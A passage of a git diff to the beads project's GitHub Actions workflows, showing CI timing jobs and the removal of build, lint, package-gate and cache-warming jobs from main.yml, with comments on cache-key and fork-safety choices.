-- write_test_manifest - cat "$test_manifest" - mapfile -t tests < "$test_manifest" - - if [[ "${#tests[@]}" -eq 0 ]]; then - echo "No tests assigned to shard ${SHARD}/${TOTAL_SHARDS}; skipping go test" - exit 0 - fi - - run_regex="^($(IFS='|'; echo "${tests[*]}"))$" - ci_time "linux integration prebuilt cmd/bd shard ${SHARD}/${TOTAL_SHARDS} go test" -- \ - env BEADS_TEST_SKIP=dolt gotestsum \ - --junitfile "artifacts/linux-integration-prebuilt-cmd-bd-${SHARD}-of-${TOTAL_SHARDS}.xml" \ - --format testdox \ - -- -v -race -tags=integration,gms_pure_go -timeout=30m -run "$run_regex" ./cmd/bd - - - name: Upload measurement artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-measure-linux-integration-prebuilt-cmd-bd-${{ matrix.shard }}-of-8 - path: artifacts/ - retention-days: 7 - if-no-files-found: ignore - - linux-integration-coverage: - name: Measure Linux integration coverage - if: ${{ inputs.suite == 'linux-integration-coverage' }} - runs-on: ubuntu-latest - timeout-minutes: 45 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Measure commands - run: | - set -euo pipefail - mkdir -p artifacts - source scripts/ci/lib/timing.sh - - ci_time "install gotestsum" -- go install gotest.tools/gotestsum@v1.13.0 - status=0 - ci_time "linux integration coverage go test" -- env BEADS_TEST_SKIP=dolt gotestsum --junitfile artifacts/linux-integration-coverage-junit.xml --format testdox -- -v -race -tags=integration,gms_pure_go -coverprofile=artifacts/coverage.out -timeout=30m ./... || status=$? - if [[ -f artifacts/coverage.out ]]; then - ci_time "coverage summary" -- go tool cover -func=artifacts/coverage.out || status=$? - else - echo "coverage.out was not generated; skipping coverage summary" - fi - exit "$status" - - - name: Upload measurement artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-measure-linux-integration-coverage - path: artifacts/ - retention-days: 7 - if-no-files-found: ignore - - cross-version-smoke: - name: Measure cross-version smoke - if: ${{ inputs.suite == 'cross-version-smoke' }} - runs-on: ubuntu-latest - timeout-minutes: 20 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Configure Git - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - - name: Cache previous release binaries - uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v5 - with: - path: ~/.cache/beads-regression - key: smoke-binaries-measure-${{ runner.os }} - - - name: Measure commands - env: - GH_TOKEN: ${{ github.token }} - SMOKE_VERSION: ${{ inputs.smoke_version }} - run: | - set -euo pipefail - source scripts/ci/lib/timing.sh - source ./.buildflags - - ci_time "build candidate binary" -- go build -tags gms_pure_go -o /tmp/bd-candidate ./cmd/bd - export CANDIDATE_BIN=/tmp/bd-candidate - if [[ -z "$SMOKE_VERSION" ]]; then - SMOKE_VERSION="$(gh release list --repo "$GITHUB_REPOSITORY" --limit 1 --json tagName --jq '.[0].tagName')" - fi - if [[ -z "$SMOKE_VERSION" ]]; then - echo "Could not resolve a previous release tag for cross-version smoke" - exit 1 - fi - ci_time "upgrade smoke ${SMOKE_VERSION}" -- ./scripts/upgrade-smoke-test.sh "$SMOKE_VERSION" - - nix: - name: Measure nix build - if: ${{ inputs.suite == 'nix' }} - runs-on: ubuntu-latest - timeout-minutes: 20 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Install Nix - uses: DeterminateSystems/determinate-nix-action@527f17dd63d2d60d3e5552934bc84b9a33a14d11 # v3 - - - name: Measure commands - run: | - set -euo pipefail - source scripts/ci/lib/timing.sh - - ci_time "nix build .#default" -- nix build .#default --print-build-logs - - mcp-package: - name: Measure MCP package checks - if: ${{ inputs.suite == 'mcp-package' }} - runs-on: ubuntu-latest - timeout-minutes: 20 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Set up Python - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 - with: - python-version: '3.14' - - - name: Measure commands - run: | - set -euo pipefail - source scripts/ci/lib/timing.sh - - ci_time "install uv" -- pip install uv==0.11.16 - ci_time "mcp package gate" -- make ci-package-mcp - - - name: Upload measurement artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-measure-mcp-package - path: integrations/beads-mcp/dist/ - retention-days: 7 - if-no-files-found: ignore - - npm-package: - name: Measure npm package checks - if: ${{ inputs.suite == 'npm-package' }} - runs-on: ubuntu-latest - timeout-minutes: 20 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Set up Node.js - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v6 - with: - node-version: '24' - - - name: Measure commands - run: | - set -euo pipefail - source scripts/ci/lib/timing.sh - ci_time "npm package gate" -- make ci-package-npm - - - name: Upload measurement artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-measure-npm-package - path: artifacts/ - retention-days: 7 - if-no-files-found: ignore diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 8300b9502..8d6c49133 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -13,117 +13,6 @@ env: BD_DISABLE_EVENT_FLUSH: "1" jobs: - # Same guard as pr.yml's check-migration-hygiene: direct pushes to main - # (and PR merges whose base moved) must not bypass the migration lints. - # BASE_SHA is the pre-push tip; on force pushes or history rewrites the - # script warns and skips the frozen-migrations diff but still runs the - # duplicate-version and nondeterministic-SQL checks. - check-migration-hygiene: - name: Check migration hygiene - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - fetch-depth: 0 - - - name: Run migration hygiene checks - env: - BASE_SHA: ${{ github.event.before }} - run: ./scripts/check-migration-hygiene.sh - - build-artifacts: - name: Build Artifacts - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - fetch-depth: 0 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - id: restore-go-module-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - # Per `go help cache`, Go's content-addressed build cache includes - # compiler options, so this base-tag directory can serve builds with - # additional tags. Race builds stay separate; Windows native/cgo - # non-race builds share theirs. - - name: Restore non-race Go build cache - id: restore-non-race-go-build-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/non-race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ github.sha }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race- - - - name: Build reusable Linux artifacts - env: - GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: | - set -euo pipefail - mkdir -p artifacts - source ./.buildflags - go_version="$(go version)" - commit="$(git rev-parse HEAD)" - go build -tags gms_pure_go -o artifacts/bd-linux-gms-pure ./cmd/bd - chmod +x artifacts/bd-linux-gms-pure - go test -tags gms_pure_go -c -o artifacts/bd-cmd-test ./cmd/bd - chmod +x artifacts/bd-cmd-test - ( - cd artifacts - sha256sum bd-linux-gms-pure > SHA256SUMS - ) - { - echo "commit=${commit}" - echo "go_version=${go_version}" - echo "build_tags=${BEADS_BUILD_TAGS}" - echo "artifact=bd-linux-gms-pure" - } > artifacts/build-manifest.txt - - - name: Upload build artifacts - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-build-artifacts - path: artifacts/ - retention-days: 1 - if-no-files-found: error - - # F4.3/F7b: pr.yml's check-doc-freshness-platforms and - # pr-preflight-platforms ubuntu legs compile several ./scripts and - # ./cmd/bd test binaries but, before this, used no GOCACHE at all (every - # run cold-compiled them). This warms the non-race GOCACHE this job - # already saves (below) with exactly those packages. Shared with - # blacksmith-go-build-cache's non-race leg (the same-repo-PR path's - # seed) so the two paths can never drift apart (F7b spec 4.2). - - name: Warm non-race GOCACHE for preflight/doc-freshness - env: - GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: bash scripts/ci/warm-non-race-cache.sh - - - name: Save Go module cache - if: steps.restore-go-module-cache.outputs.cache-hit != 'true' - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - - - name: Save non-race Go build cache - if: steps.restore-non-race-go-build-cache.outputs.cache-hit != 'true' - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/non-race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ github.sha }} - # F4.7: pr.yml's `windows-test-binaries` job only restores the module cache # and the Windows cross-compile GOCACHE; PR workflows never save caches # (forks and same-repo PRs alike would otherwise be able to poison a @@ -216,244 +105,6 @@ jobs: path: ${{ runner.temp }}/go-cache/xcompile-windows-amd64 key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-xcompile-windows-amd64-${{ github.sha }} - # Fast shell/Make guard for direct source-time build-tag declarations. - # Workflow `run` steps are checked structurally in the required policy wrapper. - check-build-tags: - name: Check build-tag policy - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - run: ./scripts/check-build-tags.sh - - run: ./scripts/check-go-install-guidance.sh - - run: ./scripts/check-winget-portable-alias.sh - - # Fast check to ensure all version files are in sync - check-version-consistency: - name: Check version consistency - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Check all versions match - run: ./scripts/check-versions.sh - - # Catch duplicate migration version numbers before any Go build. - # Two long-lived branches both claiming 'the next number' produce a silent - # under-apply when merged; this job fails at PR time with the conflicting - # filenames so it is caught before any test even compiles. - check-no-duplicate-migrations: - name: Check no duplicate migration versions - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Check for duplicate migration version numbers - run: | - dup=$( - find internal/storage/schema/migrations -maxdepth 1 -name '*.up.sql' -printf '%f\n' \ - | sed 's/^\([0-9]*\)_.*/\1/' \ - | sort | uniq -d - ) - if [ -n "$dup" ]; then - echo "Duplicate migration version(s) detected: $dup" - echo "Conflicting files:" - while IFS= read -r v; do - find internal/storage/schema/migrations -name "${v}_*.up.sql" -print - done <<< "$dup" - echo "Renumber one of the colliding files before merging." - exit 1 - fi - - # Check documentation references match actual CLI flags - check-doc-flags: - name: Check doc flags freshness - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Build bd - run: CGO_ENABLED=0 go build -tags gms_pure_go -o bd ./cmd/bd/ - - - name: Validate docs against CLI - run: | - ./scripts/check-doc-flags.sh ./bd - ./scripts/check-doc-freshness.sh - - detect-package-gates: - name: Detect package gates - runs-on: ubuntu-latest - outputs: - mcp_package: ${{ steps.detect.outputs.mcp_package }} - npm_package: ${{ steps.detect.outputs.npm_package }} - reason: ${{ steps.detect.outputs.reason }} - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - fetch-depth: 0 - - - name: Decide package gates - id: detect - env: - PR_BASE_SHA: ${{ github.event.pull_request.base.sha }} - PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }} - PUSH_BEFORE_SHA: ${{ github.event.before }} - PUSH_AFTER_SHA: ${{ github.sha }} - run: ./scripts/ci/detect-package-gates.sh - - package-mcp: - name: Package Gate (MCP) - runs-on: ubuntu-latest - needs: [detect-package-gates, build-artifacts] - steps: - - name: Check applicability - id: applicability - run: | - echo "run=${{ needs.detect-package-gates.outputs.mcp_package }}" >> "$GITHUB_OUTPUT" - if [[ "${{ needs.detect-package-gates.outputs.mcp_package }}" != "true" ]]; then - echo "MCP package gate is not applicable: ${{ needs.detect-package-gates.outputs.reason }}" - fi - - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - if: steps.applicability.outputs.run == 'true' - - - name: Set up Python - if: steps.applicability.outputs.run == 'true' - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 - with: - python-version: '3.14' - - - name: Install uv - if: steps.applicability.outputs.run == 'true' - run: python -m pip install uv==0.11.16 - - - name: Download build artifacts - if: steps.applicability.outputs.run == 'true' - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ci-build-artifacts - path: ci-build-artifacts - - - name: Verify build artifacts - if: steps.applicability.outputs.run == 'true' - run: | - set -euo pipefail - cd ci-build-artifacts - sha256sum -c SHA256SUMS - chmod +x bd-linux-gms-pure - - - name: Run MCP package gate - if: steps.applicability.outputs.run == 'true' - env: - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - run: make ci-package-mcp - - package-npm: - name: Package Gate (npm) - runs-on: ubuntu-latest - needs: [detect-package-gates, build-artifacts] - steps: - - name: Check applicability - id: applicability - run: | - echo "run=${{ needs.detect-package-gates.outputs.npm_package }}" >> "$GITHUB_OUTPUT" - if [[ "${{ needs.detect-package-gates.outputs.npm_package }}" != "true" ]]; then - echo "npm package gate is not applicable: ${{ needs.detect-package-gates.outputs.reason }}" - fi - - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - if: steps.applicability.outputs.run == 'true' - - - name: Set up Node.js - if: steps.applicability.outputs.run == 'true' - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v6 - with: - node-version: '24' - - - name: Download build artifacts - if: steps.applicability.outputs.run == 'true' - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ci-build-artifacts - path: ci-build-artifacts - - - name: Verify build artifacts - if: steps.applicability.outputs.run == 'true' - run: | - set -euo pipefail - cd ci-build-artifacts - sha256sum -c SHA256SUMS - chmod +x bd-linux-gms-pure - - - name: Run npm package gate - if: steps.applicability.outputs.run == 'true' - env: - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - run: make ci-package-npm - - - pr-policy-wrapper: - name: PR Policy (wrapper timing) - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - fetch-depth: 0 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - # Same cold-fetch exposure as pr.yml's pr-policy-wrapper: setup-go above - # runs with cache: false, so every run pulls the whole module graph from - # the proxy. Retrying it here means a proxy blip costs seconds instead of - # failing a required check. - # - # Deliberately NOT wrapped around the build: `make ci-pr-policy` runs a - # `go build ./cmd/bd` (scripts/ci/pr-policy.sh, build_docs_binary), and a - # compile error is not transient. See pr.yml's copy for the full rationale. - # - # 3 attempts x 120s + 2 backoffs x 10s = 380s worst case. 8m leaves ~100s - # of headroom, matching the bounded apt-get step in release.yml. - - name: Download modules - timeout-minutes: 8 - run: | - downloaded="" - for attempt in 1 2 3; do - if timeout 120 go mod download; then - downloaded=yes - break - fi - echo "::warning::go mod download attempt $attempt failed or timed out" - # No backoff after the final attempt - there is nothing left to wait for. - if [ "$attempt" -lt 3 ]; then - sleep 10 - fi - done - # Unlike the best-effort apt-get retries elsewhere in this repo, this - # one is load-bearing: nothing downstream can build without the - # modules. Fail here, naming the fetch, so a module outage is not - # reported as a build failure. - if [ -z "$downloaded" ]; then - echo "::error::go mod download failed after 3 attempts - module fetch failure, not a build failure" - exit 1 - fi - - - name: Run PR policy wrapper - run: make ci-pr-policy # macOS full -race -short suite. Linux runs the same suite under Bazel # (bazel.yml's `test` lane, on every push to main, executed on rbe-west), @@ -561,11 +212,8 @@ jobs: # windows-test-binaries-cache's `runner` matrix. test-windows: name: Test (Windows - smoke, ${{ matrix.venue }}) - # F7b review fix (B2): added the repository check to match - # blacksmith-go-build-cache's convention - # above (this job's push-to-main guard predates F7b and already had the - # event/ref check; the repository check closes the same fork gap F7c's - # own blacksmith-setup-go-cache guard closes). Pinned by + # F7b review fix (B2): push-to-main, same-repo only, like every saver + # here (the repository check closes the fork gap). Pinned by # TestBlacksmithSaverJobsGuardedAgainstPullRequest. if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads' runs-on: ${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-windows-2025' || 'windows-latest' }} @@ -588,8 +236,9 @@ jobs: go-version-file: 'go.mod' cache: false - # F7b review fix (S7/Speed): see blacksmith-go-build-cache's identical - # step above for the full rationale. + # F7b review fix (S7/Speed): cache keys are bucketed by go.sum and UTC + # day, not per commit, so ordinary push traffic writes at most one + # entry per day (TestBlacksmithSaverCacheKeysAreNotPerCommit). - name: Compute cache date id: cache-date shell: bash @@ -666,142 +315,6 @@ jobs: path: ${{ runner.temp }}/go-cache/non-race key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - fmt-check: - name: Check formatting - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Check gofmt - run: make fmt-check - - # F7b: the saver for the race and non-race GOCACHEs that same-repo-PR - # (Blacksmith, blacksmith-4vcpu-ubuntu-2404) jobs restore: the non-race one - # for pr-preflight-platforms' and check-doc-freshness-platforms' ubuntu - # legs; the race one compiles ./scripts/... with -race (once the compile - # set of scripts-go-checks' retired scripts-test leg). Blacksmith runners - # cannot see caches `actions/cache` saved from a GitHub-hosted runner (and - # vice versa) even for an identical key, so without this those legs would - # stay cold forever. - # - # The `venue` matrix also seeds the ubuntu-latest (fork/Dependabot) path's - # race cache, which the legacy embedded build used to save before Bazel - # took over that tier on push; build-artifacts still seeds that path's - # non-race cache, so the github x non-race leg is excluded as redundant. - # The ternary `runs-on` form (rather than a literal Blacksmith label) is - # required for actionlint, same as every other Blacksmith `runs-on` here. - # main.yml only triggers on push to main (already trusted). - # - # F7b review fix (B2): pin push-to-main-only at the job level too, not just - # via this workflow's current `on: push` trigger (same defense-in-depth - # rationale as F7c review fix S2's blacksmith-setup-go-cache guard above -- - # if main.yml ever gained a pull_request/merge_group trigger, a bare - # `on: push` assumption would silently let this job, and the unguarded - # saver below it, run on a same-repo PR, making every same-repo PR a writer - # of this Blacksmith cache namespace). Pinned by - # TestBlacksmithSaverJobsGuardedAgainstPullRequest. - blacksmith-go-build-cache: - name: Warm Go build cache (${{ matrix.flavor }}, ${{ matrix.venue }}) - runs-on: ${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads' - timeout-minutes: 20 - strategy: - fail-fast: false - matrix: - flavor: [race, non-race] - venue: [blacksmith, github] - # build-artifacts seeds the GitHub-hosted non-race cache. - exclude: - - flavor: non-race - venue: github - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - # F7b review fix (S7/Speed): bounds this saver's writes to at most once - # per UTC calendar day per go.sum, not once per push to main. The old - # ${{ github.sha }} suffix wrote a brand-new multi-GB race+non-race - # build-cache entry on every single push regardless of whether go.sum - # changed; on Blacksmith's 25 GB/week/repo quota (LRU eviction, no - # per-repo exemption the way GitHub-hosted actions/cache effectively - # has) that churn (measured ~1.74GB/push for this job's two flavors - # alone) could exhaust the week's budget in a single day of ordinary - # push traffic and evict every other Blacksmith-reachable job's cache. - # Same convention as F7c review fix S5's blacksmith-setup-go-cache - # (main.yml, above). Pinned by TestBlacksmithSaverCacheKeysAreNotPerCommit. - - name: Compute cache date - id: cache-date - run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" - - - name: Restore Go module cache - id: restore-go-module-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Restore race Go build cache - id: restore-race-go-build-cache - if: matrix.flavor == 'race' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race- - - - name: Restore non-race Go build cache - id: restore-non-race-go-build-cache - if: matrix.flavor == 'non-race' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/non-race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race- - - # -run '^$' selects no tests (only compiles), so this needs no - # Dolt/test-env setup. - - name: Warm race GOCACHE - if: matrix.flavor == 'race' - env: - GOCACHE: ${{ runner.temp }}/go-cache/race - run: go test -race -run '^$' -tags gms_pure_go ./scripts/... - - # pr-preflight-platforms'/check-doc-freshness-platforms' ubuntu legs via - # warm-non-race-cache.sh, shared with build-artifacts' identical step so - # the two paths can never drift apart (F7b spec 4.2). - - name: Warm non-race GOCACHE (preflight/doc-freshness) - if: matrix.flavor == 'non-race' - env: - GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: bash scripts/ci/warm-non-race-cache.sh - - - name: Save race Go build cache - if: ${{ !cancelled() && matrix.flavor == 'race' && steps.restore-race-go-build-cache.outputs.cache-hit != 'true' }} - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - - - name: Save non-race Go build cache - if: ${{ !cancelled() && matrix.flavor == 'non-race' && steps.restore-non-race-go-build-cache.outputs.cache-hit != 'true' }} - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/non-race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - # macOS saver: pr.yml's pr-preflight-platforms and # check-doc-freshness-platforms macOS legs run on blacksmith-6vcpu-macos-26 # for same-repo PRs/merge_group and on macos-latest for fork/Dependabot PRs, @@ -810,10 +323,10 @@ jobs: # test-windows). This job is their only seeder # (and the Blacksmith leg also seeds the `test` job's module and non-race # caches), and runs only the shared warm-up those legs compile - # (warm-non-race-cache.sh, the same script the Linux/Windows seeders use) + # (warm-non-race-cache.sh, the same script the Windows seeder uses) # plus the non-test ./cmd/bd build -- no tests, so it stays a few minutes of # macOS time per push. Same push-to-main-only job guard (B2) and go.sum + - # UTC-day cache keys (S7) as blacksmith-go-build-cache, so a PR can never + # UTC-day cache keys (S7) as test-windows, so a PR can never # write this namespace and ordinary push traffic writes at most one # non-race entry per day per venue. Pinned by # TestBlacksmithSaverJobsGuardedAgainstPullRequest, @@ -889,132 +402,4 @@ jobs: uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 with: path: ${{ runner.temp }}/go-cache/non-race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - - test-nix: - name: Test Nix Flake - runs-on: ubuntu-latest - timeout-minutes: 10 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - uses: DeterminateSystems/determinate-nix-action@527f17dd63d2d60d3e5552934bc84b9a33a14d11 # v3 - - name: Run bd help via Nix - id: nix_help - run: | - nix run .#default -- --help > help.txt - # Every flake check for the runner's own system (today: hook-timeout- - # backends, checks.nix). `nix flake check` rather than a spelled-out - # `.#checks.x86_64-linux.`: no hardcoded system, and a check added - # to checks.nix is run without a workflow edit. - - name: Run the flake checks - run: | - nix flake check -L - - name: Verify help text - if: steps.nix_help.outcome == 'success' - run: | - FIRST_LINE=$(head -n 1 help.txt) - EXPECTED="Issues chained together like beads. A lightweight issue tracker with first-class dependency support." - if [ "$FIRST_LINE" != "$EXPECTED" ]; then - echo "First line of help.txt doesn't match expected output" - echo "Expected: $EXPECTED" - echo "Got: $FIRST_LINE" - exit 1 - fi - echo "Help text first line is correct" - - # F7c: Blacksmith cannot see GitHub-hosted cache entries, so the advisory - # workflows that moved onto a same-repo-PR Blacksmith runner (Regression's - # PR run, Cross-Version Smoke, Proxied Local) need a - # Blacksmith-side writer for their Go build - # cache. This job is push-to-main only (always trusted), so it is the ONLY - # writer: it always restores whatever is available, unconditionally re-runs - # every warm-up command (not gated on a cache hit), and then always saves - # under a key suffixed with this push's commit SHA. Every PR-side consumer - # uses `actions/cache/restore` only (never saves) with the same key - # prefix/restore-keys below, so a same-repo PR can read this cache but can - # never write an entry another PR or main would later read back unverified - # (B2, F7c implementation report). This also means the key format is one we - # define ourselves (`blacksmith-sg-v1-...`), not setup-go's own implicit - # key, so there is no dependency on Blacksmith's `$ImageOS` resolving the - # same way setup-go's own cache-action would have assumed. - # - # Precondition (spec-f7.md §3): an org admin must confirm Blacksmith's - # "branch-protected caches" toggle is ON before this seed is trusted to - # feed PR-scoped restores; a mismatched or OFF setting only degrades PR - # jobs to a cold cache (restore-only, so there is no correctness risk - # either way) -- see the F7c implementation report. - blacksmith-setup-go-cache: - name: Seed setup-go cache (Blacksmith) - # A literal (non-expression) Blacksmith label is actionlint's unknown- - # runner-label check; every other same-repo Blacksmith job in this repo - # routes through a conditional expression instead (actionlint only - # validates literal runs-on strings). This job is push-to-main only - # (always trusted, so there is nothing to gate on), but it still wraps - # the label in a trivial expression to keep actionlint clean and match - # repo convention. - runs-on: ${{ 